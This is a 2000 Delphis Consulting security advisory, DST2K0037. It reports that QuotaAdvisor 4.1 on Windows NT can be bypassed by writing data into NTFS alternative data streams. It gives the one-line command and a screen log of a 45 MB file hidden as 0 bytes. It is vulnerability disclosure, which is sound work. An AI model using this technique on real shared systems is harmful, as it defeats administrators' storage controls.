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			    Delphis Consulting Plc
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			   Security Team Advisories
			       [25/09/2000]

			    securityteam@delphisplc.com
		  [http://www.delphisplc.com/thinking/whitepapers/]
	
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Adv     :       DST2K0037
Title   :       QuotaAdvisor 4.1 by WQuinn is susceptible to alternative
		    data streams to bypass quotas.
Author  :       DCIST (securityteam@delphisplc.com)
O/S     :       Microsoft Windows NT 4 Server (SP5)
Product :       QuotaAdvisor 4.1 (Build 450)
Date    :       25/09/2000

I.    Description

II.   Solution

III.  Disclaimer


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I. Description
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Vendor URL: http://www.wquinn.com/

Delphis Consulting Internet Security Team (DCIST) discovered the following
vulnerability in QuotaAdvisor under Windows NT.

Severity: medium - Bypassing quotas

It is possible to bypass the quotas imposed by QuotaAdvisor by utilising
data streams alternative to the default.

example: cat e:\45mbfile.doc > 0mbfile.doc:hidden

This would enable a 45mb file to appear as if the user is not utilising
their
quota. CAT was taken from the NT Resource KIT.

Explorer & WQuinns space monitor shows the file as 0bytes although the total
amount of free disk space availible does decrease.

example screen log:
I:\quota>copy C:\45mbfile.doc .\
There is not enough space on the disk.
        0 file(s) copied.

I:\quota>cat C:\45mbfile.doc > .\0mbfile.doc:hidden

I:\quota>.\streams .\

.\0mbfile.doc
  45698829  :hidden:$DATA

I:\quota>dir hello.exe
 Volume in drive I has no label.
 Volume Serial Number is C0FA-B4DF

 Directory of I:\quota

09/25/2000  05:49p                    0 0mbfile.doc
               1 File(s)              0 bytes
               0 Dir(s)   1,841,468,928 bytes free


II. Solution
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Vendor Status: Informed

Currently there us no known solution to this problem. The following are
the vendors comments in response to our advisory:

"This is a known issue based on a design choice to ignore streams.
We plan in the future to support them."

III. Disclaimer
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